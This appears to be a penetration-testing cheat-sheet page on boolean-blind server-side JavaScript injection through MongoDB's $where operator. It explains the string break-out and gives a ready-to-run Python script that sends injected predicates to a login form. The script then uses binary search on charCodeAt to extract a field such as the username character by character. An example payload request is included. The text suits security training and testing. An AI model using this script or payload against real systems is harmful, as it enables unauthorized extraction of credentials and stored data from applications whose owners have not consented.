Skip to content

SSJI

SSJI boolean-blind exfil ($where break-out, binary search)

Server-side JavaScript injection occurs when an application builds JavaScript source from attacker-controlled text and asks the database or JavaScript engine to evaluate it. MongoDB’s $where operator is one possible sink: it evaluates a JavaScript predicate for a document and keeps that document when the predicate returns a truthy result.

A vulnerable source commonly has this shape:

const predicate = 'this.username == "' + userInput + '"';
const user = users.findOne({$where: predicate});

The payload closes the original string and inserts an attacker-controlled Boolean expression:

injected value:
" || (<EXPRESSION>) || ""=="

evaluated predicate:
this.username == "" || (<EXPRESSION>) || ""==""

The first and final comparisons are false. The complete predicate is therefore truthy exactly when <EXPRESSION> is true. oracle() sends that expression and returns True only when the response contains a known success marker.

length() tests <FIELD>.length == <NUMBER> until it finds the field length. dump() then calls charCodeAt(<POSITION>), which returns the numeric UTF-16 code unit for one character. The configured range 32 through 126 covers printable ASCII. Binary search asks whether that number is less than or equal to a midpoint and reduces the range to one character in approximately seven requests.

import string, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

s = requests.Session()
URL = "http://target/index.php"
PROXIES = {}
TRUE_STRING = "Welcome"      # present only when the injected predicate is TRUE
FIELD = "this.username"      # document field to exfiltrate

def oracle(expr):
    """Injects a server-side JS boolean `expr`; True when it evaluates truthy."""
    payload = f'" || ({expr}) || ""=="'
    r = s.post(URL, data={"username": payload, "password": "test"}, verify=False, timeout=10, proxies=PROXIES)
    is_true = r.status_code == 200 and TRUE_STRING in r.text
    return is_true

def length():
    n = 0
    while not oracle(f"{FIELD}.length == {n}"):
        n += 1
    return n

def dump():
    out = ""
    for pos in range(length()):
        lo, hi = 32, 126                                   # printable ASCII bounds
        while lo < hi:                                      # binary search: ~7 reqs/char
            mid = (lo + hi) // 2
            if oracle(f"{FIELD}.charCodeAt({pos}) <= {mid}"):
                hi = mid
            else:
                lo = mid + 1
        out += chr(lo)
        print(f"\r[+] {out}", end="", flush=True)
    print()
    return out

Form field carrying the SSJI break-out payload

username=" || (this.username.charCodeAt(0) <= 79) || ""=="&password=test

Recovered field

[+] <RECOVERED_FIELD>

Find by: nosql, mongodb, ssji, $where, server-side javascript, boolean blind, charCodeAt, binary search, login marker, string break-out · Source: CWEE/NoSQLi SSJI $where boolean blind